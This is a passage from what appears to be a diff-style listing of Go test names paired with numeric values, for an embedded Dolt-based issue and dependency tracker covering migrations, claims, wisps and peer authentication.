8 TestEmbeddedBatchCloserClaimNextHydratesWhenSomethingClosed -15 8 TestEmbeddedBatchCloserClaimNextIsNilWhenNothingClosed -15 8 TestEmbeddedBatchCloserOutcomesMirrorItemsIndexForIndex -15 8 TestEmbeddedClaimerRefusalMessagesCarryTheirFragments -15 8 TestEmbeddedDependencyEditorAddMarksItsSourceInTheSameVerb -15 8 TestEmbeddedDependencyEditorRecordsOneHistoryEntryPerLandedRequest -15 8 TestEmbeddedGuardedUpdateMintsOnceAfterItsPatches -15 8 TestEmbeddedIssueOperationsUpdateFoldsMetadataIntoOneEvent -15 8 TestEmbeddedIssueOperationsUpdateStampsStartedAtOnceOnTheFirstInProgress -15 8 TestEmbeddedLenientOpenWarning_DataBehind -15 8 TestEmbeddedMergeAndSettleSkipsNonMemoryConfigConflict -15 8 TestEmbeddedMigrateRepairedDependenciesIDColumnCommitsAtomicallyWithVersion53_4690 -15 8 TestEmbeddedMigration0058HealsAlreadyAffectedDatabase -15 8 TestEmbeddedOpenReadOnly_SkipsGateAndMigrations -15 8 TestEmbeddedReaderListMaxRowsBoundaryIsLimitPlusOffset -15 8 TestEmbeddedReaderListReadyFlagCarriesTheAssigneeAndPriorityFilters -15 8 TestEmbeddedReaderReadyDeferredAndEphemeralGates -15 8 TestEmbeddedReaderReadyPageIsThePrefixOfTheUnboundedAnswerCountsIncluded -15 8 TestEmbeddedRelationsResolvesTheAnchorIDExactly -15 8 TestEmbeddedSQLCommitResponseLossIsIndeterminate -15 8 TestGetReadyWorkIncludeEphemeralAppliesWispFilters -15 8 TestHasRepository -15 8 TestLenientGateWarning_ComposedOutput -15 8 TestMergeAndSettleWithStrategy_EmptyStrategyMatchesMergeAndSettle -15 8 TestReclaimExpiredLeaseSurvivesRestartEmbedded -15 8 TestRemoteVerbPlainRemoteWithoutAuthPresentsNone -15 8 TestTransactionCleanupAfterSQLCommitIsIndeterminate +20 8 TestEmbeddedClaimerReclaimsAcrossSpellingWithoutWriting +20 8 TestEmbeddedDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion +20 8 TestEmbeddedGuardedUpdateMintsOnceAfterItsPatches +20 8 TestEmbeddedIssueOperationsUpdateClaimConflictCarriesTheLosingState +20 8 TestEmbeddedIssueOperationsUpdateStampsStartedAtOnceOnTheFirstInProgress +20 8 TestEmbeddedMigration0058CleansOrphanedAndInvalidWispDependenciesRowsBeforeAddingConstraints +20 8 TestEmbeddedReaderListEmptyPageIsWellFormed +20 8 TestEmbeddedReaderReadyPageWiderThanTheHydrationBatchIsStillThatPrefix +20 8 TestEmbeddedRecomputeAllBlockedDirtyGraphIsTyped +20 8 TestEmbeddedRelationsRefusesAnUnusableTypeFilter +20 8 TestEmbeddedRoleFixtureKitHooksAreUsable +20 8 TestEmbeddedTransactionStandaloneWispLifecyclePersistsWithoutDoltCommit +20 8 TestEmbeddedTransactionStandaloneWispMutationDoesNotPublishUnrelatedDurableChanges +20 8 TestGetNextChildID +20 8 TestListWisps +20 8 TestPreviewStoreRefusesLocalMetadataWrite +20 8 TestReclaimAnyReplicaOverride +20 8 TestStatsReporterContract +20 8 TestWithPeerAuth_ConcurrentPeersDoNotMixCredentials -15 9 TestBatchGetterContract -15 9 TestCommenterContract -15 9 TestEmbeddedBatchCloserBackendFailureReturnsNoOutcomes -15 9 TestEmbeddedClaimerReclaimsItsOwnInProgressIssueWithoutWriting -15 9 TestEmbeddedClaimerRefusesIncompleteRequestsAndAnAbsentIDWithoutTouchingState -15 9 TestEmbeddedDependencyEditorMixedBatchWritesBothPlanes -15 9 TestEmbeddedDependencyEditorRefusesBlockingEdgeAcrossAWispHierarchy -15 9 TestEmbeddedDependencyEditorRelatesToAddLeavesItsSourceUnblocked -15 9 TestEmbeddedDependencyEditorRemovesOnlyTheNamedEdge -15 9 TestEmbeddedIgnoredMigration0019CreatesEventsForFreshClones -15 9 TestEmbeddedIssueOperationsCloseAndReopenAWisp -15 9 TestEmbeddedIssueOperationsUpdateClosedFieldsMatchClose -15 9 TestEmbeddedIssueOperationsUpdateInvalidIssueTypePreservesValidationSentinel -15 9 TestEmbeddedOpenForRemoteSync_OtherRefusalsStayFatal -15 9 TestEmbeddedReaderListLimitBoundaryUnderASortTheDatabaseCanExpress -15 9 TestEmbeddedReaderListReadyFlagRefusesAFilterItCannotCarry -15 9 TestEmbeddedReaderOffsetSkipsTheRowsBeforeThePage -15 9 TestEmbeddedReaderReadyPageWiderThanTheHydrationBatchIsStillThatPrefix -15 9 TestEventsSinceEmbedded -15 9 TestIgnoredCursorHealConvergesFromEveryCrashState -15 9 TestLegacyTrackedIgnoredCursorUnwedgesPull -15 9 TestMetadataCASContract -15 9 TestPromoteStillWorksWithCollisionGuard -15 9 TestReadyWorkWithMissingDeferredParentTables -15 9 TestUpdateMergeOps_DoltEngine +20 9 TestDeleterContract +20 9 TestDualWriteContractFlagOff +20 9 TestEmbeddedClaimerTakesAnOpenIssueTheActorAlreadyHolds +20 9 TestEmbeddedDepRekeyRefusesToWriteIntoDirtyDependencies +20 9 TestEmbeddedDependencyEditorAcceptsATypeOutsideTheConstants +20 9 TestEmbeddedDependencyEditorAppliesParentChildBeforeBlockingEdges +20 9 TestEmbeddedDependencyEditorRecordsOneHistoryEntryForAMixedPlaneRequest +20 9 TestEmbeddedReaderListMaxRowsIsHonored +20 9 TestEmbeddedReaderReadyBriefDropsTheFreeFormTextAndNothingElse +20 9 TestEmbeddedRelationsAnswersAWispTargetInTheOutDirection +20 9 TestForeignSkipDetailIsBounded +20 9 TestHookFiringStoreCreateIssuesFiresDependencyUpdatesFromEmbeddedStore +20 9 TestLeaseLifecycleEmbedded +20 9 TestOpenAfterCloseCreatesNewStore +20 9 TestPartitionWispIDs +20 9 TestReadyWorkWithMissingDeferredParentTables +20 9 TestRemoteVerbsPresentStoredPeerCredentials +20 9 TestRunInTransactionPostCommitStageFailureIsIndeterminate +20 9 TestWithPeerAuth_MissingRemoteFailsClosed -15 10 TestBuildDSN_SpacesInPath -15 10 TestCleanGitRemoteCacheGarbage_Throttled -15 10 TestCreateIssues -15 10 TestCreateRejectsCrossTableIDCollision -15 10 TestDeleterContract -15 10 TestEmbeddedBatchCloserAllIdempotentBatchLandsNothing -15 10 TestEmbeddedDepRekeyMergesFreshDuplicateEdges -15 10 TestEmbeddedDependencyEditorAddedEchoesTheRequestOrder -15 10 TestEmbeddedDependencyEditorRefusesCrossPlaneCycle -15 10 TestEmbeddedDoltStoreIssueLifecycleBuildsOperations -15 10 TestEmbeddedIgnoredMigration0023NoopsWithoutItsTables -15 10 TestEmbeddedIssueOperationsCreateClosedDerivesTheClosedStamp -15 10 TestEmbeddedIssueOperationsCreateEmptyIDPreservesParentAndReverseDependencies -15 10 TestEmbeddedIssueOperationsUpdateParentStagesBlockedStateAndRollsBackFailure -15 10 TestEmbeddedIssueOperationsUpdateRawMetadataTakesTheFunnelsValueShapes -15 10 TestEmbeddedMigrateStepCommitLeavesUntouchedUserDirt_4566 -15 10 TestEmbeddedReaderDoesNotMutateTheCallerRequest -15 10 TestEmbeddedReadyClaimerHydratesOnlyItsBlocksEdgesIntoTheCardinalities -15 10 TestEmbeddedReadyClaimerSkipsIneligibleFrontRows -15 10 TestEmbeddedRecomputeAllBlockedDirtyGraphIsTyped -15 10 TestEmbeddedTempRebuildIntermediatesNeverReachHistory -15 10 TestEmbeddedTransactionWispLifecyclePersistsDurableDependent -15 10 TestEpochContract -15 10 TestGetReadyWorkMoleculeFilter -15 10 TestGraphWalkPlansHonorJoinHints -15 10 TestHelperProcess -15 10 TestIgnoredCursorHealResumeRespectsOperatorOverride -15 10 TestReclaimRefusesForeignReplicaLease -15 10 TestRemoteEntryPointsUseVersionControlOps -15 10 TestTransactionCleanupBeforeSQLCommitRemainsDefinite -15 10 TestVersionReconcilerContract -15 10 TestWithPeerAuth_MissingRemoteFailsClosed +20 10 TestEdgeReaderContract +20 10 TestEmbeddedBatchCloserOutcomeSnapshotIsTheDocumentedShape +20 10 TestEmbeddedClaimerRefusesIncompleteRequestsAndAnAbsentIDWithoutTouchingState +20 10 TestEmbeddedDependencyEditorMaintainsBlockedStateAcrossPlanes +20 10 TestEmbeddedDependencyEditorMixedBatchRefusalRollsBackBothPlanes +20 10 TestEmbeddedIgnoredMigration0023NoopsOnHealthyWorkspace +20 10 TestEmbeddedIssueOperationsUpdateInvalidIssueTypePreservesValidationSentinel +20 10 TestEmbeddedIssueOperationsUpdateWritesEveryScalarPatchField +20 10 TestEmbeddedMigrateConsent_BehindAndDirtyWorkingSetReconcileRecovers +20 10 TestEmbeddedOpenForRemoteSync_OtherRefusalsStayFatal +20 10 TestEmbeddedPre0058RepairMarchesDriftedWispDependenciesToFinalShape +20 10 TestEmbeddedReaderGetBriefDepsProjectsTheDependencyRows +20 10 TestEmbeddedReaderListMaxRowsBoundaryIsLimitPlusOffset +20 10 TestEmbeddedRelationsLeavesTheCallersRequestAlone +20 10 TestEmbeddedReopenCustomDoneFallsBackWhenNormalizedTableMissing +20 10 TestEventsJournalPruneNeverSplitsASkewedPair +20 10 TestGitRefPinsMatchDolt +20 10 TestIsBlockedBatchEmbedded +20 10 TestLenientGateWarningBody_BluntRefusalKeepsSharedGuidance +20 10 TestMain +20 10 TestRetentionContract -15 11 TestCycleDetectorContract -15 11 TestEmbeddedBatchCloserClaimFilterValueFailureIsARequestValidationFailure -15 11 TestEmbeddedBatchCloserIdempotentRecloseIsAPerItemSuccess -15 11 TestEmbeddedCheckedWrappersRouteTheirPreconditions -15 11 TestEmbeddedDependencyEditorAcceptsAForeignRepoTarget -15 11 TestEmbeddedDependencyEditorMixedBatchRefusalRollsBackBothPlanes -15 11 TestEmbeddedDependencyEditorRefusesASamePlaneEdgeClosingACrossPlaneCycle -15 11 TestEmbeddedDependencyEditorSameTypeReAddIsIdempotent -15 11 TestEmbeddedGetMergeBlockersOnAQuietStore -15 11 TestEmbeddedIssueOperationsCreateRoutesInfraTypesToWisps -15 11 TestEmbeddedIssueOperationsUpdateNotesConflictPreservesValidationSentinel -15 11 TestEmbeddedLenientOpenWarning_OtherRefusalsKeepBluntGuidance -15 11 TestEmbeddedPre0058RepairMarchesDriftedWispDependenciesToFinalShape -15 11 TestEmbeddedReaderGetDetailShapeMatchesTheSeededIssue -15 11 TestEmbeddedReaderListNaturalNumericIDSortTrimsAfterTheFetch -15 11 TestEmbeddedReopenCustomDoneFallsBackWhenNormalizedTableMissing -15 11 TestEmbeddedTransactionStandaloneWispMutationDoesNotPublishUnrelatedDurableChanges -15 11 TestGetDependentRecordsEmbedded -15 11 TestGetLabels -15 11 TestGetNextChildID -15 11 TestGraphCounterContract -15 11 TestLargeBatchApplyStatementCountsClassic40_Embedded -15 11 TestPristineEmbeddedDoltFixtureRelocatesPrefixes -15 11 TestReadyWorkPageTotal -15 11 TestUpdateIssueType +20 11 TestEmbeddedBatchCloserAllRefusedBatchRecordsNoHistory +20 11 TestEmbeddedBatchCloserForceBypassesOnlyClosePolicy +20 11 TestEmbeddedBatchCloserOutcomesMirrorItemsIndexForIndex +20 11 TestEmbeddedClaimerRefusalMessagesCarryTheirFragments +20 11 TestEmbeddedClaimerRefusesAWispIDAsNotFound +20 11 TestEmbeddedDependencyEditorRemoveIsIdempotent +20 11 TestEmbeddedDependencyEditorSameTypeReAddWithChangedMetadataMintsOneVersion +20 11 TestEmbeddedMigration0058HealsAlreadyAffectedDatabase +20 11 TestEmbeddedMigration0062FlipsEventsToIgnoredPlane +20 11 TestEmbeddedReaderListDefaultExclusionsAndTheirOverrides +20 11 TestEmbeddedReaderListReadyFlagCarriesTheAssigneeAndPriorityFilters +20 11 TestEmbeddedReaderReadyLimitBoundary +20 11 TestEmbeddedReadyClaimerEmptyFrontIsNormal +20 11 TestGetReadyWorkIncludeEphemeralExcludesNonReadyWisps +20 11 TestIgnoredCursorHealRespectsOverrideUnderBroaderPattern +20 11 TestLifecycleUpdateContract +20 11 TestReadyWorkStatementBudget +20 11 TestRemoteVerbPlainRemoteKeepsAmbientEnv +20 11 TestRenameLabelMintsOneVersionPerTouchedBead -15 12 TestBatchCreatorContract -15 12 TestDualWriteContract -15 12 TestEmbeddedClaimerTakesAnOpenIssueTheActorAlreadyHolds -15 12 TestEmbeddedDependencyEditorAttributesItsEventsToTheActor -15 12 TestEmbeddedDependencyEditorSnapshotsTheRequest -15 12 TestEmbeddedIgnoredSeriesConvergesWithFreshInitShape -15 12 TestEmbeddedIssueOperationsCreateWithDependenciesSettlesInTheCreatingTransaction -15 12 TestEmbeddedIssueOperationsRequestValuesAreNotMutated -15 12 TestEmbeddedMergeAndSettleMemoryConfigConflict -15 12 TestEmbeddedReaderGetOptionalRowListsAreOffByDefault -15 12 TestEmbeddedReaderGetResolvesTheExactIDAcrossBothPlanes -15 12 TestEmbeddedReaderReadyEphemeralPageKeepsBothPlanesCountsAtItsBoundary -15 12 TestEmbeddedReaderReadyParentScopesToItsTransitiveDescendants -15 12 TestEmbeddedReadyClaimerLeavesEphemeralRowsOutOfTheDefaultReadySet -15 12 TestEmbeddedRecomputeAllBlockedWiring -15 12 TestEmbeddedRelationsResolvesAWispAnchor -15 12 TestEmbeddedTransactionSameStatusDoesNotPublishUnrelatedDurableChanges -15 12 TestLargeBatchApplyStatementCounts712_Embedded -15 12 TestLifecycleUpdateContract -15 12 TestPreviewStoreRefusesLocalMetadataWrite -15 12 TestQuerierContract -15 12 TestReadyWorkPageTotalFilterMatrix -15 12 TestRemoteVerbsPresentStoredPeerCredentials -15 12 TestSearchWithMissingWispPlaneTables -15 12 TestWorkspaceConfigContract +20 12 TestActiveDatabaseSizeFailsForMissingEmbeddedDatabase +20 12 TestBuildDSN_SpacesInPath +20 12 TestCleanGitRemoteCacheGarbage_NoCacheDir +20 12 TestCrossRecordInvariantContract +20 12 TestCycleDetectorContract +20 12 TestDecryptPassword_ShortCiphertextClassifiesAsKeyMismatch +20 12 TestDualWriteContract +20 12 TestEmbeddedBlockedRecheckRecordsUnblockingWrites +20 12 TestEmbeddedBlockedRecheckSettlesWhatTheWriteRecorded +20 12 TestEmbeddedClaimIssueWrapperClaimsTheWispPlane +20 12 TestEmbeddedCommitToleratesNothingToCommit +20 12 TestEmbeddedDependencyEditorGateScopeFollowsTheEdgeType +20 12 TestEmbeddedDependencyEditorVersionsOnlyARealAddOrRemove +20 12 TestEmbeddedDoltStoreIssueLifecycleBuildsOperations +20 12 TestEmbeddedIgnoredSeriesConvergesWithFreshInitShape +20 12 TestEmbeddedIssueOperationsCloseAndReopenAWisp +20 12 TestEmbeddedReaderListCountsAreBlocksOnlyWhereGetCountsEveryEdge +20 12 TestEmbeddedReadyClaimerAnswersTheQuestionReaderReadyLists +20 12 TestEmbeddedReadyClaimerHydratesOnlyItsBlocksEdgesIntoTheCardinalities +20 12 TestEmbeddedRoleFixtureKitCountHistoryMovesWithACommit +20 12 TestEmbeddedSQLCommitResponseLossIsIndeterminate +20 12 TestEventsAutoPruneBoundsTheJournalToTheFloors +20 12 TestHasRepository +20 12 TestHistory_NullTextColumns +20 12 TestLenientGateWarningBody_ShapedDecisions +20 12 TestMetadataCASContract +20 12 TestStageAndCommitAfterSQLCommitResponseLossIsIndeterminateAndNotReplayed +20 12 TestWorkspaceConfigContract -15 13 TestCountsIncludeWispDependencies -15 13 TestDecryptPassword_ShortCiphertextClassifiesAsKeyMismatch -15 13 TestEmbeddedBatchCloserDurableHistoryNeverNamesAWisp -15 13 TestEmbeddedBatchCloserRequestValidationReturnsZeroResultAndChangesNothing -15 13 TestEmbeddedClaimerGrantsALiveLeaseOnTheRowItWonAndLeavesARefusedOneAlone -15 13 TestEmbeddedDependencyEditorRefusesAMissingLocalTarget -15 13 TestEmbeddedIssueOperationsUpdateAllScalarAndPointerFieldsReportChanged -15 13 TestEmbeddedIssueOperationsUpdateClaimHonorsConfiguredActiveStatuses -15 13 TestEmbeddedIssueOperationsUpdateMetadataReplaceClearsAndValidates -15 13 TestEmbeddedIssueOperationsUpdateRefusesATypeOutsideTheWorkspaceVocabulary -15 13 TestEmbeddedIssueOperationsUpdateWritesEveryScalarPatchField -15 13 TestEmbeddedMigrateConvergesUnderConcurrentInterruptedRetries_4566 -15 13 TestEmbeddedMigration0058CleansOrphanedAndInvalidWispDependenciesRowsBeforeAddingConstraints -15 13 TestEmbeddedMigration0062FlipsEventsToIgnoredPlane -15 13 TestEmbeddedReaderListIncludeEphemeralMergesThePlanesIntoOneOrder -15 13 TestEmbeddedReaderListKeysetPositionNarrowsWithoutReplacingTheOtherPredicates -15 13 TestEmbeddedReaderListRejectsATypeOutsideTheWorkspaceVocabulary -15 13 TestEmbeddedReaderListStatusAcceptsACommaSeparatedORSet -15 13 TestEmbeddedReaderReadySetOwnsItsStatusPinnedAndTemplateDecisions -15 13 TestEmbeddedRelationsRefusesAnUnusableTypeFilter -15 13 TestEmbeddedRelationsRefusesTheZeroDirection -15 13 TestEventsJournal_EmbeddedConcurrentGaplessNoDup -15 13 TestExternalCapabilityBlocksEmbeddedReadyAndAppearsInTree -15 13 TestIgnoredCursorHealRespectsOperatorOverride -15 13 TestLegacyTrackedIgnoredCursorHealsOnOpen -15 13 TestSweeperContract +20 13 TestAddDependency +20 13 TestAddLabel +20 13 TestEmbeddedBatchCloserRequestValidationReturnsZeroResultAndChangesNothing +20 13 TestEmbeddedDependencyEditorAddedEchoesTheRequestOrder +20 13 TestEmbeddedDependencyEditorRefusesAMissingLocalTarget +20 13 TestEmbeddedDependencyEditorRetypeRefusalLeavesTheOriginalEdge +20 13 TestEmbeddedDependencyEditorSameTypeReAddIsIdempotent +20 13 TestEmbeddedDependencyEditorSameTypeReAddWithIdenticalMetadataIsANoOp +20 13 TestEmbeddedDirtyTablesGate_BlocksReopenThenWorkingSetReconcileRecovers +20 13 TestEmbeddedIgnoredMigration0023NoopsWithoutItsTables +20 13 TestEmbeddedIssueOperationsCreateAggregatesRelations +20 13 TestEmbeddedReaderListKeysetWalkOverAnOversizedGroupLosesNothingAndRepeatsNothing +20 13 TestEmbeddedReaderReadyPageIsThePrefixOfTheUnboundedAnswerCountsIncluded +20 13 TestEmbeddedRecomputeAllBlockedWiring +20 13 TestHeartbeatMatchesActorAcrossSpellingEmbedded +20 13 TestLegacyTrackedIgnoredCursorHealsOnOpen +20 13 TestMemoriesContract +20 13 TestQuerierContract +20 13 TestTreeWalkerContract -15 14 TestAddDependency -15 14 TestCounterContract -15 14 TestCountsWithMissingWispPlaneTables -15 14 TestEmbeddedBlockedRecheckFailureKeepsTheWrite -15 14 TestEmbeddedDepRekeyRefusesToWriteIntoDirtyDependencies -15 14 TestEmbeddedDependencyEditorRecordsNoHistoryForAnAllEphemeralRequest -15 14 TestEmbeddedDirtyTablesGate_BlocksReopenThenWorkingSetReconcileRecovers -15 14 TestEmbeddedEveryAcceptedLifecycleMutationMintsOneVersion -15 14 TestEmbeddedIssueOperationsClaimLeavesBlockedStateAlone -15 14 TestEmbeddedIssueOperationsUpdateIssuePlaneOnlyRefusesWisps -15 14 TestEmbeddedIssueOperationsUpdateLabelPatchValueRules -15 14 TestEmbeddedMergeAndSettleDirtyWorkingSetSurvivesRefusedMerge -15 14 TestEmbeddedOpenForReadOnlyCommand_LenientGate -15 14 TestEmbeddedReaderListBriefDropsTheFreeFormTextAndNothingElse -15 14 TestEmbeddedReaderListKeysetWalkOverAnOversizedGroupLosesNothingAndRepeatsNothing -15 14 TestEmbeddedReadyClaimerClaimsAnEphemeralRowTheFilterAdmits -15 14 TestEmbeddedReadyClaimerRejectsLimitOffsetBriefAndEmptyActor -15 14 TestEventsJournalPruneWhenEveryRowIsOlderThanTheCutoff -15 14 TestMergeWithStrategy_TheirsResolvesAndCommits -15 14 TestMerge_NoStrategyStillErrorsWithEscapeHatchHint -15 14 TestOpenAfterCloseCreatesNewStore -15 14 TestOpenDifferentDirsReturnsDifferentStores -15 14 TestPruneEventsBatchDeletesTheLowestSeqsOnly -15 14 TestReadyCounterContract -15 14 TestUnknownProvenanceLeaseStaysReclaimable +20 14 TestEmbeddedBatchCloserDoesNotMutateTheCallerRequest +20 14 TestEmbeddedBatchCloserSettlesTheDependersOfWhatItClosed +20 14 TestEmbeddedDepRekeyMergesFreshDuplicateEdges +20 14 TestEmbeddedDependencyEditorAcceptsBlockingAcrossIssueTypes +20 14 TestEmbeddedDependencyEditorMixedBatchWritesBothPlanes +20 14 TestEmbeddedDependencyEditorRefusesAGhostSource +20 14 TestEmbeddedDependencyEditorRefusesCrossPlaneCycle +20 14 TestEmbeddedDependencyEditorRelatesToAddLeavesItsSourceUnblocked +20 14 TestEmbeddedDependencyEditorRemoveUnmarksItsSourceAndDescendants +20 14 TestEmbeddedDependencyEditorRepeatsWithinOneRequestCollapse +20 14 TestEmbeddedDependencyEditorRoutesWispSourcedEdgeToTheWispPlane +20 14 TestEmbeddedGetMergeBlockersOnAQuietStore +20 14 TestEmbeddedIgnoredMigration0019CreatesEventsForFreshClones +20 14 TestEmbeddedMergeAndSettleSkipsNonMemoryConfigConflict +20 14 TestEmbeddedReaderListBriefDropsTheFreeFormTextAndNothingElse +20 14 TestExternalCapabilityBlocksEmbeddedReadyAndAppearsInTree +20 14 TestGetLabels +20 14 TestPristineEmbeddedDoltFixtureRelocatesPrefixes +20 14 TestSchemaAfterInit +20 14 TestWithPeerAuth_RestoresAbsentEnv -15 15 TestCreateIssue -15 15 TestEdgeReaderContract -15 15 TestEmbeddedBatchCloserAllRefusedBatchRecordsNoHistory -15 15 TestEmbeddedBatchCloserDuplicateItemRecloseAtItsOwnIndex -15 15 TestEmbeddedBatchCloserRecordsOneHistoryEntryForWhatLanded -15 15 TestEmbeddedBlockedRecheckRecordsUnblockingWrites -15 15 TestEmbeddedClaimerAcceptsAConfiguredActiveStatusAndRefusesAConfiguredWipOne -15 15 TestEmbeddedDependencyEditorAcceptsATypeOutsideTheConstants -15 15 TestEmbeddedDependencyEditorAcceptsAnExternalTarget -15 15 TestEmbeddedDependencyEditorRefusesSelfDependencyWithTheProbeSkipped -15 15 TestEmbeddedDependencyEditorRepeatsWithinOneRequestCollapse -15 15 TestEmbeddedDependencyEditorSameTypeReAddWithChangedThreadMintsOneVersion -15 15 TestEmbeddedIssueOperationsUpdateLabelPatchOrdering -15 15 TestEmbeddedMigrateConsent_BehindAndDirtyWorkingSetReconcileRecovers -15 15 TestEmbeddedMigrateSelfHealsAfterMidPassFault_4566 -15 15 TestEmbeddedMoveIssuePersistenceEphemeralNoHistorySmoke -15 15 TestEmbeddedOpenForRemoteSync_DataBehind -15 15 TestEmbeddedReadyClaimerEmptyFrontIsNormal -15 15 TestEmbeddedRelationsSeparatesNoNeighborsFromNoSuchIssue -15 15 TestEmbeddedTransactionStandaloneWispLifecyclePersistsWithoutDoltCommit -15 15 TestEventsJournalPruneNeverSplitsASkewedPair -15 15 TestEventsJournal_ActorMatrixOnEmbedded -15 15 TestGetIssueCommentsPageEmbedded -15 15 TestGetReadyWorkIncludeEphemeralExcludesNonReadyWisps -15 15 TestIgnoredCursorHealIsIdempotent -15 15 TestReadyWorkStatementBudget -15 15 TestReleaserContract +20 15 TestBuildDSN_NoDatabase +20 15 TestCleanGitRemoteCacheGarbage +20 15 TestCommenterContract +20 15 TestCounterExcludeStatusAcceptsAWorkspaceCustomStatusWithoutIncludeInfra +20 15 TestCreateBatchFastPathsMatchPerRowLarge_Embedded +20 15 TestDoltCommitResponseLossIsIndeterminate +20 15 TestEmbeddedBatchCloserAllIdempotentBatchLandsNothing +20 15 TestEmbeddedDependencyEditorRecordsOneHistoryEntryPerLandedRequest +20 15 TestEmbeddedDependencyEditorRefusesACycleThroughAParentChildHop +20 15 TestEmbeddedDependencyEditorRefusesBlockingEdgeAcrossAWispHierarchy +20 15 TestEmbeddedDependencyEditorRoutesWispSourcedRemovalToTheWispPlane +20 15 TestEmbeddedIssueOperationsCreateEmptyIDPreservesParentAndReverseDependencies +20 15 TestEmbeddedIssueOperationsUpdateNotesConflictPreservesValidationSentinel +20 15 TestEmbeddedMigration0057ConvertsTextEventsColumnsToLongtext +20 15 TestEmbeddedOpenReadOnly_FreshDatabaseNoWrites +20 15 TestEmbeddedReaderListStatusAcceptsACommaSeparatedORSet +20 15 TestEmbeddedReaderReadyDefaultTypeExclusionsYieldToAnExplicitType +20 15 TestEmbeddedRenameKeepsDependencyIDsDeterministic +20 15 TestEventsJournalReadRefusesAnInteriorHole +20 15 TestEventsJournal_EmbeddedConcurrentGaplessNoDup +20 15 TestExpectedRevisionContract +20 15 TestLargeBatchApplyStatementCounts356_Embedded +20 15 TestLargeGraphCreateTiming_Embedded +20 15 TestReadyWorkPageTotalFilterMatrix +20 15 TestReclaimExpiredLeaseSurvivesRestartEmbedded +20 15 TestRemoteEntryPointsUseVersionControlOps +20 15 TestTransactionCleanupBeforeSQLCommitRemainsDefinite +20 15 TestUpdateIssueType + +20 16 TestCreateIssues +20 16 TestEmbeddedBatchCloserClaimNextSeesAnUnblockingFromItsOwnBatch +20 16 TestEmbeddedClaimerAcceptsAConfiguredActiveStatusAndRefusesAConfiguredWipOne +20 16 TestEmbeddedDepRekeyAbortLeavesMarkerUnrecorded +20 16 TestEmbeddedIssueOperationsCreateParentChildRecomputesWaitsForClosure +20 16 TestEmbeddedIssueOperationsCreateWithDependenciesSettlesInTheCreatingTransaction +20 16 TestEmbeddedIssueOperationsUpdateMetadataReplaceClearsAndValidates +20 16 TestEmbeddedMergeAndSettleRefusesUnknownTable +20 16 TestEmbeddedMigration0058AddsOnlyMissingConstraintInMixedPopulation +20 16 TestEmbeddedReaderGetResolvesTheExactIDAcrossBothPlanes +20 16 TestEmbeddedReaderReadySetOwnsItsStatusPinnedAndTemplateDecisions +20 16 TestEmbeddedTempRebuildIntermediatesNeverReachHistory +20 16 TestEventsAutoPruneKeepsAnUnboundedJournalUnbounded +20 16 TestEventsJournal_ActorMatrixOnEmbedded +20 16 TestIgnoredCursorHealRespectsOperatorOverride +20 16 TestMergeWithStrategy_TheirsResolvesAndCommits +20 16 TestOpenDifferentDirsReturnsDifferentStores +20 16 TestRemoteVerbPlainRemoteWithoutAuthPresentsNone +20 16 TestUnknownProvenanceLeaseStaysReclaimable + +20 17 TestActiveDatabaseSizeScopesToActiveEmbeddedDatabase +20 17 TestBuildDSN_WithDatabase +20 17 TestCleanGitRemoteCacheGarbage_Throttled +20 17 TestDepRekeyMarkerStillInIgnoredSeries +20 17 TestEmbeddedBatchCloserClaimNextIsNilWhenTheFrontIsEmpty +20 17 TestEmbeddedBatchCloserIdempotentRecloseIsAPerItemSuccess +20 17 TestEmbeddedBatchCloserPerItemRefusalIsAResultAndSurvivorsCommit +20 17 TestEmbeddedClaimerReclaimsItsOwnInProgressIssueWithoutWriting +20 17 TestEmbeddedDepRekeyConvergesRenameChain +20 17 TestEmbeddedDependencyEditorAcceptsAnExternalTarget +20 17 TestEmbeddedDependencyEditorAddMarksItsSourceInTheSameVerb +20 17 TestEmbeddedDependencyEditorRefusesBlockingEdgeAcrossItsOwnHierarchy +20 17 TestEmbeddedDoltStoreIssueLifecycleRejectsNilStore +20 17 TestEmbeddedIssueOperationsCreateReverseNonBlockingStagesConcreteTables +20 17 TestEmbeddedMigration0047DelegatesToSplitTargetRepairAndConvergesThroughIgnoredChain +20 17 TestEmbeddedReaderGetOptionalRowListsAreOffByDefault +20 17 TestEmbeddedReaderListSkipCountsDropsTheCardinalitiesAndNothingElse +20 17 TestEmbeddedReaderReadySortPoliciesOrderTheSameRows +20 17 TestEmbeddedRelationsAnswersInThePinnedOrder +20 17 TestEmbeddedTransactionSameStatusDoesNotPublishUnrelatedDurableChanges +20 17 TestEpochContract +20 17 TestHelperProcess +20 17 TestLegacyTrackedIgnoredCursorUnwedgesPull +20 17 TestLenientGateWarning_ComposedOutput +20 17 TestReadyWorkPageTotal +20 17 TestSweeperContract +20 17 TestTransactionCleanupAfterSQLCommitIsIndeterminate +20 17 TestWithPeerAuth_RestoresEnvWhenCallbackFails + +20 18 TestBatchCreatorContract +20 18 TestBlockingAnnotatorContract +20 18 TestCountsIncludeWispDependencies +20 18 TestEmbeddedBatchCloserDurableHistoryNeverNamesAWisp +20 18 TestEmbeddedBatchCreateFirstVersionCarriesCreationTimeEdges +20 18 TestEmbeddedBlockedRecheckFailureKeepsTheWrite +20 18 TestEmbeddedCheckedWrappersRouteTheirPreconditions +20 18 TestEmbeddedDependencyEditorSkipPerEdgeCycleCheckDropsOnlyTheProbe +20 18 TestEmbeddedIssueOperationsCreateUnderAParentMintsTheNextChildID +20 18 TestEmbeddedIssueOperationsUpdateClaimPatchAppliesAfterClaim +20 18 TestEmbeddedIssueOperationsUpdateRefusesATypeOutsideTheWorkspaceVocabulary +20 18 TestEmbeddedMigrateRepairedDependenciesIDColumnCommitsAtomicallyWithVersion53_4690 +20 18 TestEmbeddedMigrateStepCommitLeavesUntouchedUserDirt_4566 +20 18 TestEmbeddedReadyClaimerClaimsTheFrontRowAndReturnsThePostClaimState +20 18 TestEmbeddedReadyClaimerRecordsOneHistoryEntryForAWin +20 18 TestLargeBatchApplyWallClock_Embedded +20 18 TestMerge_NoStrategyStillErrorsWithEscapeHatchHint +20 18 TestRenameLabel +20 18 TestVersionReconcilerContract + +20 19 TestBatchGetterContract +20 19 TestBootstrapperContract +20 19 TestCreateIssue +20 19 TestCreateRejectsCrossTableIDCollision +20 19 TestEmbeddedBatchCloserWispItemClosesAndEarnsTheClaim +20 19 TestEmbeddedDepRekeyRepairsHalfRekeyedDuplicateEdge +20 19 TestEmbeddedIssueOperationsUpdateStatusCrossingSettlesDependers +20 19 TestEmbeddedMergeAndSettleMemoryConfigConflict +20 19 TestEmbeddedMigrateConvergesUnderConcurrentInterruptedRetries_4566 +20 19 